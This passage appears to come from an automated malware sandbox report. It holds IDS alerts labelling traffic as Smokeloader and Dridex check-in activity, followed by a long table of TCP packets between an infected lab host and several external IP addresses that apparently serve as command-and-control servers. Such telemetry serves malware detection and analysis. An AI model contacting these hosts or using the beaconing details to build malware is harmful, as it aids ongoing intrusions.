2024-09-25T16:02:36.401964+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49751	23.145.40.162	443	TCP
2024-09-25T16:02:36.940781+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49751	23.145.40.162	443	TCP
2024-09-25T16:03:21.252704+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49752	116.58.10.60	80	TCP
2024-09-25T16:03:31.755722+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49753	116.58.10.60	80	TCP
2024-09-25T16:03:45.252831+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49754	116.58.10.60	80	TCP
2024-09-25T16:03:53.184311+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49755	23.145.40.162	443	TCP
2024-09-25T16:03:53.528263+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49755	23.145.40.162	443	TCP
2024-09-25T16:04:04.585527+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49756	190.98.23.157	80	TCP
2024-09-25T16:04:13.856339+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49757	23.145.40.162	443	TCP
2024-09-25T16:04:14.335519+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49757	23.145.40.162	443	TCP
2024-09-25T16:04:26.957735+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49758	190.98.23.157	80	TCP
2024-09-25T16:04:36.813735+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49759	23.145.40.162	443	TCP
2024-09-25T16:04:37.139984+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49759	23.145.40.162	443	TCP
2024-09-25T16:04:50.039241+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49760	190.98.23.157	80	TCP
2024-09-25T16:04:59.137001+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49761	23.145.40.162	443	TCP
2024-09-25T16:04:59.516202+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	49761	23.145.40.162	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 16:01:29.708235979 CEST	49711	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:29.713125944 CEST	80	49711	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:29.713243961 CEST	49711	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:29.713839054 CEST	49711	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:29.713872910 CEST	49711	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:29.720551014 CEST	80	49711	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:29.720719099 CEST	80	49711	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:30.964297056 CEST	80	49711	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:30.964448929 CEST	80	49711	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:30.964560032 CEST	49711	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:30.965774059 CEST	49711	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:30.969006062 CEST	49712	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:30.970510960 CEST	80	49711	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:30.973794937 CEST	80	49712	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:30.973973036 CEST	49712	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:30.973973989 CEST	49712	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:30.973973989 CEST	49712	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:30.978746891 CEST	80	49712	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:30.978801012 CEST	80	49712	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:32.199060917 CEST	80	49712	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:32.199235916 CEST	80	49712	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:32.199413061 CEST	49712	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:32.199691057 CEST	49712	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:32.204543114 CEST	80	49712	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:32.209014893 CEST	49713	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:32.213887930 CEST	80	49713	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:32.214025021 CEST	49713	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:32.214114904 CEST	49713	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:32.214138985 CEST	49713	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:32.219048023 CEST	80	49713	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:32.219098091 CEST	80	49713	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:33.463205099 CEST	80	49713	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:33.468080044 CEST	80	49713	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:33.468152046 CEST	49713	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:33.468240023 CEST	49713	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:33.471951962 CEST	49714	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:33.473548889 CEST	80	49713	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:33.476891994 CEST	80	49714	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:33.476962090 CEST	49714	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:33.477191925 CEST	49714	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:33.477210045 CEST	49714	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:33.482079983 CEST	80	49714	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:33.482172966 CEST	80	49714	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:34.746088982 CEST	80	49714	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:34.746104002 CEST	80	49714	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:34.746161938 CEST	49714	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:34.746299982 CEST	49714	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:34.749664068 CEST	49715	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:34.751247883 CEST	80	49714	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:34.754587889 CEST	80	49715	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:34.754698992 CEST	49715	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:34.754909039 CEST	49715	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:34.754909039 CEST	49715	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:34.759975910 CEST	80	49715	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:34.760178089 CEST	80	49715	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:36.015013933 CEST	80	49715	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:36.015208960 CEST	80	49715	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:36.015286922 CEST	49715	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:36.015357018 CEST	49715	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:36.018661976 CEST	49716	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:36.020117998 CEST	80	49715	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:36.023533106 CEST	80	49716	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:36.023660898 CEST	49716	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:36.023788929 CEST	49716	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:36.023788929 CEST	49716	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:36.028553963 CEST	80	49716	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:36.028866053 CEST	80	49716	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:37.606019020 CEST	80	49716	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:37.606595039 CEST	80	49716	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:37.606648922 CEST	49716	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:37.606688976 CEST	49716	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:37.611565113 CEST	80	49716	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:37.615006924 CEST	49717	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:37.619882107 CEST	80	49717	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:37.619982958 CEST	49717	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:37.620239973 CEST	49717	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:37.620268106 CEST	49717	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:37.625103951 CEST	80	49717	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:37.625114918 CEST	80	49717	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:39.026094913 CEST	80	49717	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:39.026115894 CEST	80	49717	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:39.026226997 CEST	49717	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:39.026370049 CEST	49717	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:39.029406071 CEST	49718	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:39.031152964 CEST	80	49717	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:39.034190893 CEST	80	49718	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:39.034276009 CEST	49718	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:39.034404993 CEST	49718	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:39.034416914 CEST	49718	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:39.039153099 CEST	80	49718	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:39.039333105 CEST	80	49718	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:40.325072050 CEST	80	49718	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:40.325346947 CEST	80	49718	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:40.325429916 CEST	49718	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:40.325489044 CEST	49718	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:40.328349113 CEST	49719	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:40.330543041 CEST	80	49718	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:40.333430052 CEST	80	49719	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:40.333511114 CEST	49719	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:40.333619118 CEST	49719	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:40.333642960 CEST	49719	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:40.338443995 CEST	80	49719	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:40.338465929 CEST	80	49719	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:41.599371910 CEST	80	49719	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:41.599498987 CEST	80	49719	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:41.599554062 CEST	49719	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:41.599639893 CEST	49719	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:41.603055000 CEST	49720	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:41.606756926 CEST	80	49719	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:41.607847929 CEST	80	49720	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:41.607949018 CEST	49720	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:41.608059883 CEST	49720	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:41.608084917 CEST	49720	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:41.613718987 CEST	80	49720	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:41.614846945 CEST	80	49720	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:42.873982906 CEST	80	49720	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:42.875327110 CEST	80	49720	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:42.875380993 CEST	49720	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:42.875427008 CEST	49720	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:42.880222082 CEST	80	49720	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:42.883331060 CEST	49721	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:42.888243914 CEST	80	49721	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:42.888326883 CEST	49721	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:42.888470888 CEST	49721	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:42.888525009 CEST	49721	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:42.893472910 CEST	80	49721	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:42.893485069 CEST	80	49721	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:44.128271103 CEST	80	49721	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:44.128911972 CEST	80	49721	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:44.128985882 CEST	49721	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:44.129065990 CEST	49721	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:44.131469965 CEST	49722	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:44.134546041 CEST	80	49721	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:44.136485100 CEST	80	49722	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:44.136558056 CEST	49722	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:44.136698008 CEST	49722	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:44.136732101 CEST	49722	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:44.142019033 CEST	80	49722	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:44.142137051 CEST	80	49722	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:45.386388063 CEST	80	49722	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:45.386478901 CEST	80	49722	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:45.386548996 CEST	49722	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:45.389522076 CEST	49722	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:45.394318104 CEST	80	49722	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:45.514379978 CEST	49723	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:45.519304991 CEST	80	49723	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:45.519372940 CEST	49723	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:45.519504070 CEST	49723	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:45.519610882 CEST	49723	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:45.524274111 CEST	80	49723	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:45.524379969 CEST	80	49723	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:46.758783102 CEST	80	49723	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:46.759051085 CEST	80	49723	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:46.759129047 CEST	49723	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:46.759294987 CEST	49723	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:46.762048006 CEST	49724	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:46.764055014 CEST	80	49723	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:46.766901970 CEST	80	49724	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:46.769692898 CEST	49724	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:46.769692898 CEST	49724	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:46.769721985 CEST	49724	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:46.774609089 CEST	80	49724	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:46.774667978 CEST	80	49724	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:48.049710035 CEST	80	49724	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:48.049730062 CEST	80	49724	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:48.049798012 CEST	49724	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:48.050018072 CEST	49724	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:48.054842949 CEST	80	49724	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:48.055771112 CEST	49725	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:48.060625076 CEST	80	49725	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:48.060698986 CEST	49725	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:48.060842991 CEST	49725	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:48.060877085 CEST	49725	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:48.067914963 CEST	80	49725	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:48.067926884 CEST	80	49725	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:49.324126959 CEST	80	49725	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:49.324282885 CEST	80	49725	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:49.324357986 CEST	49725	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:49.324455023 CEST	49725	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:49.329265118 CEST	80	49725	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:49.333760977 CEST	49726	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:49.338932991 CEST	80	49726	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:49.339008093 CEST	49726	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:49.339158058 CEST	49726	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:49.339195013 CEST	49726	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:49.345532894 CEST	80	49726	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:49.345547915 CEST	80	49726	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:50.595983982 CEST	80	49726	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:50.596034050 CEST	80	49726	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:50.596093893 CEST	49726	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:50.596235037 CEST	49726	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:50.598862886 CEST	49727	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:50.601037025 CEST	80	49726	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:50.603672028 CEST	80	49727	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:50.603748083 CEST	49727	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:50.603841066 CEST	49727	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:50.603859901 CEST	49727	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:50.608582973 CEST	80	49727	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:50.608712912 CEST	80	49727	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:51.860969067 CEST	80	49727	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:51.861020088 CEST	80	49727	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:51.861068964 CEST	49727	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:51.862776041 CEST	49727	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:51.867598057 CEST	80	49727	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:51.868125916 CEST	49728	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:51.873006105 CEST	80	49728	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:51.873095989 CEST	49728	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:51.873326063 CEST	49728	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:51.873358011 CEST	49728	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:51.878233910 CEST	80	49728	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:51.878246069 CEST	80	49728	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:53.130346060 CEST	80	49728	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:53.130372047 CEST	80	49728	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:53.130511999 CEST	49728	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:53.130781889 CEST	49728	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:53.133506060 CEST	49729	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:53.135512114 CEST	80	49728	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:53.138412952 CEST	80	49729	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:53.138514996 CEST	49729	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:53.138679028 CEST	49729	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:53.138693094 CEST	49729	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:53.143471956 CEST	80	49729	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:53.143522978 CEST	80	49729	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:54.403583050 CEST	80	49729	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:54.403647900 CEST	80	49729	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:54.403704882 CEST	49729	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:54.405524969 CEST	49729	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:54.410391092 CEST	80	49729	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:54.415508986 CEST	49730	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:54.420423985 CEST	80	49730	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:54.420528889 CEST	49730	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:54.420666933 CEST	49730	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:54.420680046 CEST	49730	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:54.425427914 CEST	80	49730	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:54.425559998 CEST	80	49730	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:55.668787956 CEST	80	49730	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:55.668827057 CEST	80	49730	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:55.668994904 CEST	49730	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:55.669234991 CEST	49730	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:55.671477079 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:55.671547890 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:55.671643019 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:55.672035933 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:55.672055006 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:55.674132109 CEST	80	49730	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:56.319545031 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.319708109 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.329772949 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.329792976 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.330130100 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.337883949 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.383395910 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.538494110 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.538516998 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.538578987 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.538603067 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.589565992 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.625019073 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.625044107 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.625176907 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.625700951 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.625720024 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.625762939 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.625785112 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.626422882 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.626508951 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.628056049 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.628133059 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.711734056 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.711834908 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.711843967 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.711877108 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.711930037 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.711942911 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.712822914 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.712899923 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.713253021 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.713330030 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.714108944 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.714189053 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.715015888 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.715101957 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.715136051 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.715225935 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.781508923 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.781672955 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.798583031 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.798641920 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.798702955 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.798724890 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.798741102 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.798774004 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.799240112 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.799336910 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.799781084 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.799894094 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.799962997 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.799962997 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.799973011 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.800092936 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.800666094 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.800811052 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.800952911 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.800952911 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.800961018 CEST	443	49731	23.145.40.164	192.168.2.5
